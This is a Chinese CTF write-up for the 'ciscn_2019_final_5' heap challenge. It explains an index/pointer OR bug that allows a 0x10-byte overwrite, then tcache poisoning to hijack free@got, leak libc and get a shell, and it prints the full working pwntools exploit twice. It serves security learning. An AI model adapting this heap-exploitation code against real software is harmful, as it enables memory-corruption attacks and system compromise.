ciscn_2019_final_5
ciscn_2019_final_5
总结
根据本题,学习与收获有:
tcache bin
的利用都不需要伪造chunk
,直接修改tcache chunk
的next
指针即可。但是libc2.27
之后的版本加入了检查。tcache bin dup
,也不存在检查,当有UAF
漏洞的时候,可以直接对tcache chunk
多次释放。tcache chunk
不会和top_chunk
合并。- 题目要读仔细,对于一些奇怪的操作,可以复现一下,加快分析速度!
题目分析
checksec
没有开启PIE防护。
函数分析
main
可以看出来,是个很经典的菜单题。
menu
提供三个选择,接下来依次来看
new_note
这个函数要注意以下几点:
- 输入索引的范围是0~0x10,也就是说最多可以存储17个
chunk
malloc
的范围为0~0x1000- 输出了每个
chunk
地址的低3个字节 0x6020e0
存储chunk
的指针,但是存储的是输入的idx
和分配到的chunk_ptr
的或值- 外部输入的
idx
和实际存放在0x6020e0
数组的索引并不一致!!
del_note
这里有两点要注意:
- 外部输入的
idx
并不是会对应去删除0x6020e0[idx]
处的chunk
,而是遍历0x6020e0
处的数组,对每一个地址ptr & 0xf
取出索引,再和外部输入的idx
比较,如果一样,就去删除这个地方的chunk
- 找到索引后,取出的要删除的
chunk
的地址是通过ptr & 0xfffffffffffffff0
计算得到的
edit_note
这里寻找索引和取出chunk
的方式和del_note
是一样的。
漏洞点
漏洞点就在于很奇怪的计算索引和计算chunk
地址的方式,分析这两种计算方式,可以发现:
- 由于
chunk
的地址一定是页对齐的,所以分配堆的地址的最后一位肯定是0x?0。这个地址和[0, 0xf]
之间的索引取或值,对地址前面的值是不影响的,如0x20 | 0xf = 0x2f
。因此,这个时候使用ptr & 0xf
取索引没问题,使用ptr & 0xf0
取原来的chunk
指针,也没问题。 - 但是,如果给的索引是
0x10
,那么就有问题了。举例说明:假设分配到的chunk_ptr
地址的最后一位为0x60
,那么按照new_note
的存储方式,数组中最后存的地址为0x60 | 0x10 = 0x70
。要取出索引,得输入0x70 & 0xf = 0x0
,取出的chunk_ptr
为0x70 & 0xf0 = 0x70
。那么如果调用del_note
或edit_note
,实际上处理的地址不是0x60
,而是为0x70
。 - 也就是说,如果首先创建
0x10
为idx
的chunk
,调用edit_note
的时候,要输入的索引实际不能是0x10
,而是0
,并且编辑的地址会往高地址移动0x10
个字节。这可以修改下一个chunk
的pre_size
和size
域大小。
利用思路
步骤:
- 分配一个
chunk A
,输入索引为0x10
,大小为0x10
- 分配一个
chunk B
,输入索引为0x1
,大小为0x10
- 分配一个
chunk C
,输入索引为0x2
,大小为0x10
- 分配一个
chunk D
,输入索引为0x3
,大小为0x20
- 分配一个
chunk E
,输入索引为0x4
,大小为0x10
,输入内容为/bin/sh\x00
- 通过
edit_note
接口,输入索引0
,来修改chunk B
的size
为0x71
,这是为了把chunk C
和chunk D
都囊括进来,制造overlapped chunk
。 - 依次释放
chunk B
和chunk C
和chunk D
- 分配一个
chunk F
,输入索引为0x1
,大小为0x60
,把刚刚释放那个假的chunk
申请回来,并修改已经释放了的chunk C
和chunk D
的next
指针 - 利用
tcache bin attack
分别分配chunk G
到free@got
处和chunk H
到setbuf@got
处,将free@got
覆盖为put@plt
,将setbuf@got
填为‘a’ * 8
。然后调用del_note(chunk H)
,泄露出atoi
函数的地址。 - 最后利用
edit_not
接口来修改chunk G
,将free@got
修改为system
地址,最后del_note(chunk E)
获取到shell
EXP
调试过程
首先,写好函数,并且也可以定义一个数组,存储chunk
地址,模拟0x6020e0
数组,同时,保证变化与程序一致。
# x[0]存储低3位和索引的或值,x[1]以及真实的chunk地址
qword_0x6020e0 = [[0, 0]] * 17
def show_qword_0x6020e0():
'''如果RealPtr(真实的chunk地址)和GetPtr(计算取出来的chunk地址)不一样的话,用绿色打印!'''
global qword_0x6020e0
addr = 0x6020e0
for x in qword_0x6020e0:
if x[0] == 0:
continue
fstr = 'Addr:{} StorePtr:{} RealPtr:{} GetPtr:{} GetIdx:{}'.format(hex(addr), hex(x[0]), hex(x[1]), hex(x[0] & 0xfff0),hex(x[0] & 0xf))
if (x[1]) != (x[0] & 0xfff0):
print_green('[*] ' + fstr)
else:
log.info(fstr)
addr += 8
def new_note(idx:int, size:int, content:bytes=b'\x00'):
global io, qword_0x6020e0
assert idx >= 0 and idx <= 0x10
io.sendlineafter("your choice: ", '1')
io.sendlineafter("index: ", str(idx))
io.sendlineafter("size: ", str(size))
io.sendafter("content: ", content)
low_bytes = io.recvline()
log.info('get msg:{}'.format(low_bytes))
low_bytes = low_bytes[12:-1]
low_bytes = int16(low_bytes.decode())
store_low = (low_bytes | idx)
for i in range(0x11):
if qword_0x6020e0[i][0] == 0:
qword_0x6020e0[i] = [store_low, low_bytes]
break
return low_bytes, i
def del_note(idx:int):
global io, qword_0x6020e0
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", str(idx))
msg = io.recvline()
count = -1
for x in qword_0x6020e0:
count += 1
if (x[0] & 0xf) == idx:
x[0] = 0
x[1] = 0
break
return msg, count
def edit_note(idx:int, content:bytes):
global io
io.sendlineafter("your choice: ", '3')
io.sendlineafter("index: ", str(idx))
io.sendafter("content: ", content)
io.recvuntil("edit success.\n\n")
按照利用思路分配chunk
,并打印数组看看:
# get chunk
new_note(0x10, 0x10) # idx 0 chunk A
new_note(0x1, 0x10) # idx 1 chunk B
new_note(0x2, 0x10) # idx 2 chunk C
new_note(0x3, 0x20) # idx 3 chunk D
new_note(0x4, 0x10, b'/bin/sh\x00') # idx 4 chunk E
show_qword_0x6020e0() # show array
的确是这样的:
看下堆:
然后修改size
域:
# edit and overlap size field
edit_note(0, p64(0) + p64(0x71))
释放这个假chunk
:
# del_note 1 chunk B and re-malloc it
del_note(1)
重新malloc
回来,然后释放chunk C/D
,并修改它们的next
指针:
new_note(0x1, 0x60) # idx 1 chunk F
# del_note 2 chunk C and 3 chunk D
del_note(2)
del_note(3)
# change the next pointer of freed chunk C and freed chunk D
payload = p64(0) * 3 + p64(0x21) + p64(0x602018) + p64(0) * 2 + p64(0x31) + p64(0x602070)
edit_note(1, payload)
分配到free@got
和setbuf@got
,并修改内容:
# tcache attack
new_note(1, 0x10)
new_note(1, 0x20)
new_note(2, 0x10, p64(0x400790)) # idx 2, chunk G, change free@got to puts@plt
new_note(3, 0x20, b'a' * 8) # idx 3, chunk H, change setbuf@got to 'aaaaaaaa'
看下数组:
然后泄露并计算system的地址,再看下数组:
# call del_note to leak __libc_atoi address and calculate __libc_system address
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", '3')
msg = io.recvline()
show_qword_0x6020e0() # show array
# edit_note, change free@got to __libc_system
atoi_addr = u64(msg[8:-1] + b'\x00\x00')
LOG_ADDR('atoi_addr', atoi_addr)
system_addr = atoi_addr + 0xedc0
edit_note(10, p64(system_addr) * 2)
注意:要访问chunk G
的话,得输入idx
为0xa
注意,这个时候0x6020110
处的会被置空:
修改成功:
最后只需要free chunk E
:
# get shell
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", '4')
最终exp
from pwn import *
io = process('./ciscn_2019_final_5')
# x[0]存储低3位和索引的或值,x[1]以及真实的chunk地址
qword_0x6020e0 = [[0, 0]] * 17
def show_qword_0x6020e0():
'''如果RealPtr(真实的chunk地址)和GetPtr(计算取出来的chunk地址)不一样的话,用绿色打印!'''
global qword_0x6020e0
addr = 0x6020e0
for x in qword_0x6020e0:
if x[0] == 0:
continue
fstr = 'Addr:{} StorePtr:{} RealPtr:{} GetPtr:{} GetIdx:{}'.format(hex(addr), hex(x[0]), hex(x[1]), hex(x[0] & 0xfff0),hex(x[0] & 0xf))
if (x[1]) != (x[0] & 0xfff0):
print_green('[*] ' + fstr)
else:
log.info(fstr)
addr += 8
def new_note(idx:int, size:int, content:bytes=b'\x00'):
global io, qword_0x6020e0
assert idx >= 0 and idx <= 0x10
io.sendlineafter("your choice: ", '1')
io.sendlineafter("index: ", str(idx))
io.sendlineafter("size: ", str(size))
io.sendafter("content: ", content)
low_bytes = io.recvline()
log.info('get msg:{}'.format(low_bytes))
low_bytes = low_bytes[12:-1]
low_bytes = int16(low_bytes.decode())
store_low = (low_bytes | idx)
for i in range(0x11):
if qword_0x6020e0[i][0] == 0:
qword_0x6020e0[i] = [store_low, low_bytes]
break
return low_bytes, i
def del_note(idx:int):
global io, qword_0x6020e0
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", str(idx))
msg = io.recvline()
count = -1
for x in qword_0x6020e0:
count += 1
if (x[0] & 0xf) == idx:
x[0] = 0
x[1] = 0
break
return msg, count
def edit_note(idx:int, content:bytes):
global io
io.sendlineafter("your choice: ", '3')
io.sendlineafter("index: ", str(idx))
io.sendafter("content: ", content)
io.recvuntil("edit success.\n\n")
# get chunk
new_note(0x10, 0x10) # idx 0 chunk A
new_note(0x1, 0x10) # idx 1 chunk B
new_note(0x2, 0x10) # idx 2 chunk C
new_note(0x3, 0x20) # idx 3 chunk D
new_note(0x4, 0x10, b'/bin/sh\x00') # idx 4 chunk E
show_qword_0x6020e0() # show array
# edit and overlap size field
edit_note(0, p64(0) + p64(0x71))
# del_note 1 chunk B and re-malloc it
del_note(1)
new_note(0x1, 0x60) # idx 1 chunk F
# del_note 2 chunk C and 3 chunk D
del_note(2)
del_note(3)
# change the next pointer of freed chunk C and freed chunk D
payload = p64(0) * 3 + p64(0x21) + p64(0x602018) + p64(0) * 2 + p64(0x31) + p64(0x602070)
edit_note(1, payload)
# tcache attack
new_note(1, 0x10)
new_note(1, 0x20)
new_note(2, 0x10, p64(0x400790)) # idx 2, chunk G, change free@got to puts@plt
new_note(3, 0x20, b'a' * 8) # idx 3, chunk H, change setbuf@got to 'aaaaaaaa'
# call del_note to leak __libc_atoi address and calculate __libc_system address
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", '3')
msg = io.recvline()
show_qword_0x6020e0() # show array
# edit_note, change free@got to __libc_system
atoi_addr = u64(msg[8:-1] + b'\x00\x00')
LOG_ADDR('atoi_addr', atoi_addr)
system_addr = atoi_addr + 0xedc0
show_qword_0x6020e0()
edit_note(10, p64(system_addr) * 2)
# get shell
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", '4')
io.interactive()
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